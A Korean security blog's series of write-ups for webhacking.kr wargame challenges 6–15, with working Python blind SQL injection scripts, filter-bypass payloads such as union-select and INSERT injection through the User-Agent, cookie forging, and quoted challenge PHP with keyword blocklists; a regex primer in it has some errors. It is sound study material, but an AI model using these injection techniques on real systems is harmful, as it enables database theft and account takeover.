15번 문제는 50점으로 최하점 문제이다.



최하점 문제 답게 문제를 접속하면 Access_Denied alert 메세지를 띄우며 바로 쫒아낸다.


까다로운 친구다.


확인을 누르자 password is of~~~~~ 라고 순간적으로 지나간거 같다.


아마 javascript를 사용하여


alert('Access_Denied');

document.wire('password is ~');

histroy.go(-1);


을 사용해서 비밀번호를 잠깐 보여주고 뒤로 자동으로 가도록 코딩한 것 같다.


프록시 툴을 사용하여 확인해보았다.



순서는 틀렸지만 예상이 맞았다.


Auth Key값은 off_script 인가보다.


끝!




'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13


14번 문제를 접속 했을 때의 화면이다.


우선 아무것도 알 수 없으니 소스보기를 해봤다.



간단한 javascript 문제 같다.


input text에 값을 넣고 버튼을 누르면 ck()라는 javascript 함수를 호출한다.


ck 함수를 보면 URL을 가져와서 무언가 연산을 하고 입력한 input text값과 비교한다.


따라서 우리는 javascript console을 이용하여 ul 값이 무었인지 확인하면 문제를 풀 수 있다.



따라서 위와 같이 콘솔창에 ul을 구하는 과정을 그대로 복사하고 붙여 넣으면 ul=510 인 것을 알 수 있다.


input text에 510을 넣고 check를 누르면 아래와 같이 Auth Key가 나온다.



끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 16번  (0) 2016.11.15
webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13

13번 문제를 접속하면 아래 처럼 SQL Injection 문제가 나온다.



select flag from prob13password 쿼리문에 대한 row를 가져오면 Auth key가 들어있는 것 같다.


먼저 1이라는 값을 제출해보자.



result가 1이라고 나오는데 벌써부터 느낌이 Blind Injection을 해야 할 것만 같다.



혹시 모르니 0값을 보내보자.



0을 보냈을 때는 result가 안나오는 것을 확인 할 수 있다.


배점이 높기 때문에 필터링을 열심히 하는 문제고 열심히 우회하는 문제같다.


하지만 9번 문제를 풀었던 것을 생각하면 쉽게 풀 수 있다.



똑같이 풀면 되는데 아래와 같이 띄어쓰기가 들어가는 경우 필터에 막힌다.



따라서 스페이스바(공백)을 %0a로 치환하여 아래의 스크립트를 사용하여 풀면 문제를 풀 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select flag from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
break
 
    print result



근데 이상하게도 스크립트를 돌리는데 결과 값이 나오지를 않는다.


여러개의 row가 존재 할 수 있기 때문에 select count(flag) from prob13password 쿼리를 사용해 갯수를 알아봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select count(flag) from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
            break
 
    print result
 
# result: 2


역시나 2개의 row가 있었기 때문에 그냥 select flag from prob13password 했을 때 내부 오류로 아무런 결과가 나오지 않았다.

(서브 쿼리에서는 row가 반드시 1개여야 한다. 안그러면 mysql 오류가 발생한다.)


하지만 여기서 문제가 생겼다.

limit를 필터링 하기 때문에 한개의 row만 가져올 수 없었다.


여기서 생각난게 min, max이다.


따라서 select min(flag) from prob13password 와 같은 쿼리문을 이용하여 최소값 1개를 가져올 수 있다.

(여기서 min, max는 첫 번째 글자의 순서에 따른 결과 일 것이다.)


min(flag)의 결과는 flag이므로 제대로 된 Auth Key값은 max로 구 할 수 있다.


따라서 아래의 Python 스크립트로 Auth Key값을 구할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "select min(flag) from prob13password".replace(' ','%0A')
 
for i in range(120):
    for j in string.printable:
        param = "(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-10/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall("<td>1</td>", res):
            result += j
            break
 
    print result
 
# result: challenge13luckclear


Auth Key값을 index.php에 넣고 보내주면 아래와 같이 문제가 풀리게 된다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 15번  (0) 2016.11.15
webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12

12번 문제를 접속하면 javascript challenge라고 나온다.




요런 문제는 HTML 소스보기 + javascript console을 사용하면 아주 쉽게 풀 수 있다.




우선 HTML 소스보기를 해주자!



역시 javascript가 난독화 되어 있을 줄 알았다.


이정도 난독화는 아주 간단한 편이다.


대부분 이런 문제의 경우 eval로 코드를 실행 해준다.


자바스크립트 콘솔을 열어 eval 함수를 cosole.log 함수로 바꿔주면 아래와 같이 복호화 된 javascript 코드를 확인 할 수 있다.



이제 소스코드를 분석하기만 하면 된다.


Password가 출력되는 조건을 보면 ck랑 특정 더한 값이 같을 때 Password가 ck 값에서 =을 뺀 것이라고 알려주고 있다.


따라서 javascript 콘솔창에 아래와 같이 ck랑 비교하는 값을 넣어보자.




"=youaregod~~~~~~~!"라는 문자열이 나왔다.


즉 Password는 =을 뺀 "youaregod~~~~~~~!" 가 된다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 14번  (0) 2016.11.14
webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12

webhacking.kr Challenge11 문제를 풀다가 php의 'preg_match' 함수를 만나게 되었다.

해당 문제에서는 정규식표현에 쓰이는 특수문자들이 있었다.

처음에는 특수문자가 왜 쓰이는지 알 수 없었고 곧 구글링을 통해 정규표현식임을 알 수 있었다.



webhacking.kr Challenge 11 write up!

if(preg_match($pat,$val)) { echo("Password is ????"); }

$pat="/[1-3][a-f]{5}_.*165.128.238.19.*\tp\ta\ts\ts/";

$pat을 나눠서 해석해보자

[1-3] : (1, 2, 3) 중에서 아무 숫자 하나 = 1

[a-f] : (a, b, c, d, e, f) 중에서 아무 문자 하나 = 1a

{5} : 앞에 나온 문자가 5번 나와야함 = 1aaaaa

_ : 정규표현식에 쓰이는 특수문자가 아님 = 1aaaaa_

.* : '.'는 어떤 문자 하나, '*'는 앞의 문자가 안나오거나 하나. 따라서 어떤문자를 안써줘도 된다 = 1aaaaa_

165 : 숫자이므로 그대로 작성 =  1aaaaa_165

. : 어떤 문자 하나(임의로 a 작성) = 1aaaaa_165a

128 : 숫자이므로 그대로 작성 =  1aaaaa_165a128

. : 어떤 문자 하나(임의로 a 작성) = 1aaaaa_165a128a

238 : 숫자이므로 그대로 작성 =  1aaaaa_165a128a238

. : 어떤 문자 하나(임의로 a 작성) = 1aaaaa_165a128a238a

19 : 숫자이므로 그대로 작성 =  1aaaaa_165a128a238a19

.* : 위와 같이 어떤 문자를 안써줘도 된다 = 1aaaaa_165a128a238a19

\t : Tap = <1aaaaa_165a128a238a19    > (Tap을 보여주기위해 <>안에 넣음)

p : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p

\t : Tap = <1aaaaa_165a128a238a19    p    > (Tap을 보여주기위해 <>안에 넣음)

a : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p    a

\t : Tap = <1aaaaa_165a128a238a19    p    a    > (Tap을 보여주기위해 <>안에 넣음)

s : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p    p    s

\t : Tap = <1aaaaa_165a128a238a19    p    a    s    > (Tap을 보여주기위해 <>안에 넣음)

s : 문자이므로 그대로 작성 = 1aaaaa_165a128a238a19    p    a    s    s


따라서 $val = "1aaaaa_165a128a238a19 p a s s"; 일때 인증키를 얻을 수 있다.



정규표현식(regular expression)이란? :

- 특정한 규칙을 가진 문자열의 집합을 표한하는데 사용하는 형식언어.

- 정해진 패턴을 사용해서 패턴에 일치하는 데이터 검색을 지워하는 표현식.



정규표현식의 문법 :

1. '.' : 임의의 한문자

ex)

c.s = cjs, cas, cbs, cds, ces, ...

.js = cjs, ajs, bjs, djs, fjs, ...


2. '*' : 바로 앞의 문자가 없거나 하나 이상(즉 0개 이상을 포함)

ex)

c*s = s, cs, css, ccs, cccs, ...

abc* = ab, abc, abcc, abccc, abcccc, ...

ka*b = kb, kab, kaab, kaaab, kaaaab, ...


3. '+' : 바로 앞의 문자가 하나 이상(즉 1개 이상을 포함)

ex)

j+s = js, jjs, jjjs, jjjjs, jjjjjs, ...

abc+ = abc, abcc, abccc, abcccc, abccccc, ...


4. '?' : q바로 앞의 문자가 없가나 하나(즉 1개 또는 0개 이상을 포함)

ex)

cj?s = s, cjs (두가지 표현이 유일)

c?at = at, cat (두가지 표현이 유일)


5. '^' : 바로 뒤의 문자열로 시작

ex)

^This = This is my Book, Thisead, ...

^a?bc = bc, abc, ...

^.e = he, me, request, settle, ...

^s.e? = sa, sae, sb, sbe (e는 있어도 되고 없어도 되고)


6. '$' : 바로 앞의 문자열로 종료

ex)

a?bc$ = eeabe, seebc, bc, ...

+.e$ = onthetoe, hctae, appetitlle, ...

s?c+$ = e, se, ee, eee, seee, seeee, ...


7. '[]' : [] 안에 있는 문자 중 하나, 범위는 '-'로 지정

ex)

[ab]cd = acd, bcd, ...

[a-z] = a부터 z까지

[a-zA-Z] = 대소문자 모두 a부터 z까지

[0-9] = 0부터 9까지

ag[a-z] = aga, agbcd, agzzz, ...

^ab[cd]ef = abcef, abdef, ...

^[a-zA-Z] = 영문자로 시작

^[a-zA-Z_] = 첫글자가 영어 대소문자와 '_' 만 사용 가능

^[가-힣]  =  한글로 시작

[^a-zA-Z0-9]  =  ^은 안으로 들어가면 제외(부정)의 의미가 된다. 영어 대소문자나 숫자로 시작 불가

[a-zA-Z0-9]$ = 영어 대소문자나 숫자로 종료


8. '{}' : 앞의 문자나 문자열 출현 횟수

ex)

a{2}b = aab, ... (a가 반드시 2번 나와야함)

a{2,}b = aab, aaab, aaaab, ... (a가 최소한 2번 이상 나와야함)

a{2, 4}b = aab, aaab, aaab, ... (a가 최소 2번 최대 4번 나와야함)


9: '()' : ()안에 있는 문자를 그룹화

ex)

a(bc){2} = abcbc (a다음으로 bc가 2번 나와야함)

a(bc)* = abcbcbc (a다음에 bc는 무제한으로 나올수 있음)


10. '|' : or 연산자

ex)

he|she = he is, she is


Reference

: http://ko.wikipedia.org/wiki/정규_표현식

: http://www.devholic.net/1000238


PS. 사실 2014.08.02에 작성했던 글이다.



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 13번  (0) 2016.11.14
webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11

10번 문제를 접속하면 이상한게 나온다.




로또를 사라는거 같기도 하고...


처음에 크롬을 사용했는데 아무런 동작을 하지 않았다.


소스보기를 통하여 뭔지 분석을 해보자.


버튼을 클릭할 때 마다 posLeft 값이 1씩 증가하고 800이 되면 ?go=800으로 이동한다.


따라서 아래와 같이 임의적으로 ?go=800으로 접속해보았다.


맨 아래에 작게 no hack이라고 뜬다.


어떻게 풀란 말인가.


애초에 클릭했을때 이동을 안해서 ie를 사용해 문제를 풀어봐야겠다.





ie는 클릭했을때 O 표시가 옆으로 제대로 이동했기 때문에 개발자도구를 통해 left를 799로 바꿔주고 한번더 클릭 해주었다.



그리고 문제가 스르륵 풀렸다. 끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 12번  (0) 2016.11.13
webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11


9번 문제는 900점으로 2번째로 높은 배점이 있는 문제이다.


그럼 풀어보도록 하자.


접속하면 아래 처럼



1 2 3 <a> 태그가 있고, Password를 입력받는 input text가 있다.



1, 2, 3을 눌러보도록 하자.



GET 방식을 통해 no라는 파라미터로 값을 보내 줬을 떄의 결과이다.


1, 2는 사과, 바나나가 나오고 3이면 Secret이 나온다 Secret을 알아내면 되는거 같다.


힌트로 길이와, 컬럼이 주어졌으므로 no에 Blind Injection을 진행하면 문제를 풀 수 있을 것 같다.


따라서 아래와 같이 스크립트를 작성한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib2, re
 
header = {'Cookie':'PHPSESSID=jeong0su'}
 
result = str()
subqry = "select 1".replace(' ','%20')
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
 
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-09/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
        if re.findall('Access Denied', res):
            print 'Access Denied!'
            exit()
 
        if re.findall("Apple", res):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# Access Denied!



mid, lpad, bin, ord 함수를 사용 했을 때 필터링으로 인해 Access Denied!가 발생 하는 것 같다. 


따라서 어떤 문자열이 필터링하는지 no값에 넣어 확인해 본 결과


mid, bin, ord 함수를 필터링 한다.


mid함수의 경우 substr을 쓸 수 있기 때문에 필터링 우회를 할 수 있다.


ord함수의 경우 우회를 위해서 ascii, hex, conv 함수를 사용해 봤지만 전부 필터링 하고 있다.


여기서 아래와 같이 in을 사용하여 비교하는 방법이 생각났고 테스트 해본 결과 필터링에 문제 되는 것도 없었다.




('a'는 16진수로 0x61)


이제 no가 3일 경우에 id를 가져와야하는데 limit 함수를 사용할 수 없기 떄문에


if 문을 사용하여 blind injection 결과가 참일 때 no=3을 만들어줘서 no가 3일 경우의 id를 가져오는 방법을 선택했다.


따라서 완성 된 스크립트는 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2, re, string
 
header = {'Cookie':'PHPSESSID=jeong0su'}
result = str()
subqry = "id"
 
for i in range(112):
    temp = "0b0"
    for j in string.printable:
        param = "(if(substr((" + subqry + ")," + str(i) + ",1)in(" + hex(ord(j)) + "),3,0))"
        req = urllib2.Request('http://webhacking.kr/challenge/web/web-09/?no='+param, headers=header)
        res = urllib2.urlopen(req).read()
 
        if re.findall('Access Denied', res):
            print 'Access Denied!'
            exit()
 
        if re.findall("Secret", res):
            result += j
            break;
 
    print result
 
# result: alsrkswhaql



처음 화면에 나온 창에 결과 값을 넣어주면 문제가 풀리게 된다.



끝!









'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 11번  (0) 2016.11.13
webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10

8번 문제를 접속해봅시다.



USER-AGENT 라고 뜨고 숫자가 뜨네요?


아직은 아무것도 모르니 HTML 소스를 확인해봅시다.



오! index.phps가 주석으로 써져있네요.


php 소스를 확인할 수 있겠군요.


확인해봅시다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?
 
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];
 
$agent=trim($agent);
 
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);
 
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
 
$agent=strtolower($agent);
 
if(preg_match($pat,$agent)) exit("Access Denied!");
 
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
 
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
 
 
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");
 
$ck=@mysql_fetch_array($q);
 
if($ck)
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")
 
{
@solve();
@mysql_query("delete from lv0");
}
 
 
}
 
if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}
 
 
?>



USER-AGENT 값을 가져와서 $agent 변수에 넣고 필터링 검사를 합니다.


검사를 통과해 단단해진 $agent값은 id를 가져오는 쿼리문에 들어가서 결과 값을 받아옵니다. [line 24]


id가 admin이 되면 풀리는 문제군요.


그 뒤로는 $agent, $ip, id를 insert 쿼리문을 통해 database에 데이터를 생성해주네요.


id가 고정적으로 guest이기 때문에 문제는 절대 풀 수 없을 것 같지만 insert 쿼리의 특징을 한가지 기억하면 풀 수 있습니다.


insert의 경우 values에 콤마를 사용하게 되면 아래와 같이 동시에 여러개의 데이터를 집어 넣을 수 있습니다.



따라서 USER-AGENT에 인젝션을 통하여 id가 admin인 계정을 만들 수 있습니다.


전체 쿼리는


insert into lv0(agent,ip,id) values('js','127.0.0.1','admin'),('jeong.su_dumy','$ip','guest')


입니다.


여기서 agent에 인젝션을 하는 거기 때문에


$agent에 들어가야할 값은 "js','127.0.0.1','admin'),('jeong.su_dumy"가 되겠네요!


프록시 툴을 사용하여 USER-AGENT를 아래와 같이 수정하여 전송해 보겠습니다.



그러면 이제 wehacking.kr 서버 database 안에


js 127.0.0.1 admin

jeong.su_dumy 127.0.0.1 guest


2개의 row가 동시에 추가 되었을 겁니다.


다시 js로 USER-AGENT를 변조하여 보내보겠습니다.



이렇게 요청을 하면 문제가 아래처럼 풀리게 됩니다.



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 10번  (0) 2016.11.12
webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10

7번 문제를 접속 해봅시다.



관리자 페이지라고 써있네요.


auth를 눌러봅시다.



이런 Access_Denied!라고 뜨네요.


auth를 눌렀을때 패킷을 날린 것인지? 확인을 해보기 위해서 HTML 소스보기를 합니다.



auth 버튼을 눌렀을 때는 onclick event에 의해서 alert 메세지를 띄어 준거네요.


그러면서 2가지 힌트를 얻을 수 있습니다.


정녕 admin mode로 들어가고 싶으면 val 파라미터의 값이 2여야 한다.


index.phps 써 있는 걸 보니 소스를 확인 할 수 있겠군요.


우선 val 파라미터 값을 2로 바꿔서 접속해보도록 하죠. ㅎㅎ



역시 쉬운건 없습니다.


Access Denied! 이라고 뜨네요.


여기서 호기 심을 갖고서 val 값에 3을 한번 넣어보겠습니다.



"query error" 라고 뜨는걸 보니 database에 한번 들어갔다 나오는거 같군요.


이제 index.phps에 들어가서 소스를 한번 봅시다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<html>
    <head>
        <title>Challenge 7</title>
    </head>
 
    <body>
    <!--
        db에는 val=2가 존재하지 않습니다.
        union을 이용하세요
    -->
<?
    $answer = "????";
 
    $go=$_GET[val];
 
    if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
 
    $ck=$go;
 
    $ck=str_replace("*","",$ck);
    $ck=str_replace("/","",$ck);
 
    echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
 
    if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");
 
    if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }
 
    $rand=rand(1,5);
 
    if($rand==1)
        $result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
 
    if($rand==2)
        $result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
 
    if($rand==3)
        $result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
 
    if($rand==4)
        $result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
 
    if($rand==5)
        $result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
 
    $data=mysql_fetch_array($result);
    if(!$data[0]) { echo("query error"); exit(); }
    if($data[0]!=1 && $data[0]!=2) { exit(); }
 
 
    if($data[0]==1){
        echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
        alert('Access_Denied!')><p>");
        echo("<!-- admin mode : val=2 -->");
    }
 
    if($data[0]==2){
        echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
        alert('Congratulation')><p>");
        @solve();
    }
?>
    <!--
    index.phps
    -->
    </body>
</html>



소스 코드를 확인해보면 [line 14]에서 GET 메소드를 통해서 val의 값을 받고 $go라는 변수에 넣습니다.


$go는 여러가지 필터링을 지나쳐가며 단단해 집니다.


그리고 mysql_query로 사용이 되는거죠.


lv1이라는 테이블에서 lv이라는 컬럼명의 데이터를 가져오는데 맨 위에 힌트를 보면 lv=2인 것이 없다고 합니다.


우리는 따라서 union select를 사용하여 테이블에 없는 데이터를 만들어 줄 수 있습니다.


랜덤 함수를 사용하여 쿼리 모양을 다르게 하기 때문에 원하는 모양을 하나 생각해 줍시다.


저는 가장 간단한 1번으로 했어요.


그리고 나중에 새로고침 5번을 해주면 1번은 맞지 않을까요?


랜덤 결과가 1일 경우의 쿼리문을 보면 select lv from lv1 where lv=($go)라고 되어있습니다.


테이블에는 lv2가 없기 때문에 아래와 같이 union select 문을 사용하여 lv의 값이 2인 row를 임시적으로 만들 수 있습니다.

(union select에 대한건 구글에 검색하시면 자세히 나와요!)


자 그럼 완성 시킬 쿼리는 아래와 같습니다


select lv from lv1 where lv=(-1) union select 2;


lv1에 -1이라는 값이 없기 때문에 빨간색의 쿼리문까지 실행 했을 떄 return 되는 row는 아무것도 없습니다.


하지만 파란색 usnion select 2 쿼리를 추가해줌으로써 아래 사진과 같이 lv이 2인 row를 만들어 낼 수 있습니다.



사진과 똑같이 한번 해보세요!


자 그러면 $go 에 "-1) union select 2#"을 넣어주면 쿼리 완성이 되겠죠?


하지만 " " 스페이스바, %20을 필터링 하기 때문에 %0a를 넣어주어 우회 합니다.



하지만 필터링 되었을때 뜨는 메세지인 Access Denied!가 뜨네요.


필터링을 잘 살펴 보면 2라는 숫자를 못쓰게 해뒀습니다.


따라서 아래와 같은 쿼리를 사용할거에요.


select lv from lv1 where lv=(-1) union select (3-1)


3-1은 2이기 때문에 아래와 같은 결과가 나올 꺼에요!



따라서 $go 변수에, val 인자 값에


-1) union select (3-1


위와 같이 넣어주면 쿼리가 완성될 것 같네요!


물론 스페이스바는 %0a로 바꿔줘야 합니다.


따라서 아래와 같이 새로고침을 하다보면 문제가 풀리게 됩니다.



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 9번  (0) 2016.11.12
webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09

6번 문제도 접속을 해봅시다.



힌트가 base64 인코딩이고 index.phps 가 있다네요.


즉 index.php의 소스를 볼 수 있습니다.


소스를 확인해보면 아래와 같이 크게 2개로 나누어 볼 수 있습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
if(!$_COOKIE[user]) 
    $val_id="guest"
    $val_pw="123qwe"
 
    for($i=0;$i<20;$i++
    { 
        $val_id=base64_encode($val_id); 
        $val_pw=base64_encode($val_pw); 
 
    } 
 
    $val_id=str_replace("1","!",$val_id); 
    $val_id=str_replace("2","@",$val_id); 
    $val_id=str_replace("3","$",$val_id); 
    $val_id=str_replace("4","^",$val_id); 
    $val_id=str_replace("5","&",$val_id); 
    $val_id=str_replace("6","*",$val_id); 
    $val_id=str_replace("7","(",$val_id); 
    $val_id=str_replace("8",")",$val_id); 
 
    $val_pw=str_replace("1","!",$val_pw); 
    $val_pw=str_replace("2","@",$val_pw); 
    $val_pw=str_replace("3","$",$val_pw); 
    $val_pw=str_replace("4","^",$val_pw); 
    $val_pw=str_replace("5","&",$val_pw); 
    $val_pw=str_replace("6","*",$val_pw); 
    $val_pw=str_replace("7","(",$val_pw); 
    $val_pw=str_replace("8",")",$val_pw); 
 
    Setcookie("user",$val_id); 
    Setcookie("password",$val_pw); 
 
    echo("<meta http-equiv=refresh content=0>"); 
?>


id와 pw를 20번 base64 인코딩 하고 치환을 각각 분자들을 치환해서 cookie에 저장하네요.


쿠키를 확인해볼까요?



user, password에 각각 결과 값이 제대로 들어가 있네요.


2번째 부분을 볼까요?



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<? 
 
$decode_id=$_COOKIE[user]; 
$decode_pw=$_COOKIE[password]; 
 
$decode_id=str_replace("!","1",$decode_id); 
$decode_id=str_replace("@","2",$decode_id); 
$decode_id=str_replace("$","3",$decode_id); 
$decode_id=str_replace("^","4",$decode_id); 
$decode_id=str_replace("&","5",$decode_id); 
$decode_id=str_replace("*","6",$decode_id); 
$decode_id=str_replace("(","7",$decode_id); 
$decode_id=str_replace(")","8",$decode_id); 
 
$decode_pw=str_replace("!","1",$decode_pw); 
$decode_pw=str_replace("@","2",$decode_pw); 
$decode_pw=str_replace("$","3",$decode_pw); 
$decode_pw=str_replace("^","4",$decode_pw); 
$decode_pw=str_replace("&","5",$decode_pw); 
$decode_pw=str_replace("*","6",$decode_pw); 
$decode_pw=str_replace("(","7",$decode_pw); 
$decode_pw=str_replace(")","8",$decode_pw); 
 
 
for($i=0;$i<20;$i++
    $decode_id=base64_decode($decode_id); 
    $decode_pw=base64_decode($decode_pw); 
 
echo("<font style=background:silver;color:black>&nbsp;&nbsp;HINT : base64&nbsp;&nbsp;</font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>"); 
echo("ID : $decode_id<br>PW : $decode_pw<hr>"); 
 
if($decode_id=="admin" && $decode_pw=="admin"
    @solve(6,100); 
 
 
?> 



쿠키에 있는 값을 가져와서 반대로 replace 해주고, base64 디코드를 해주네요. 


그리고 [line 34]에 문제 풀이 조건이 있습니다. decode한 id와 pw가 admin이면 풀리네요.


이런 문제들은 php를 그대로 사용하는게 좋습니다.


아래와 같이 주어진 encode 함수를 조금 수정하여 php 코드를 작성합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
    $val_id="admin";  
 
    for($i=0;$i<20;$i++
        $val_id=base64_encode($val_id);
 
    $val_id=str_replace("1","!",$val_id); 
    $val_id=str_replace("2","@",$val_id); 
    $val_id=str_replace("3","$",$val_id); 
    $val_id=str_replace("4","^",$val_id); 
    $val_id=str_replace("5","&",$val_id); 
    $val_id=str_replace("6","*",$val_id); 
    $val_id=str_replace("7","(",$val_id); 
    $val_id=str_replace("8",")",$val_id); 
 
    var_dump($val_id); 
?>


 이제 결과 값을 확인하면 아래와 같습니다.

(저는 apm_setup이 깔려있기 때문에 php를 바로 실행시킬 수 있습니다.)




이제 나온 결과 값으로 cookie를 수정해줍니다.




그러면 위와 같이 문제가 풀리죠! 끝!!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 8번  (0) 2016.11.11
webhacking.kr 7번  (0) 2016.11.11
webhacking.kr 6번  (0) 2016.11.10
webhacking.kr 5번  (0) 2016.11.10
webhacking.kr 4번  (0) 2016.11.09
webhacking.kr 3번  (0) 2016.11.09

+ Recent posts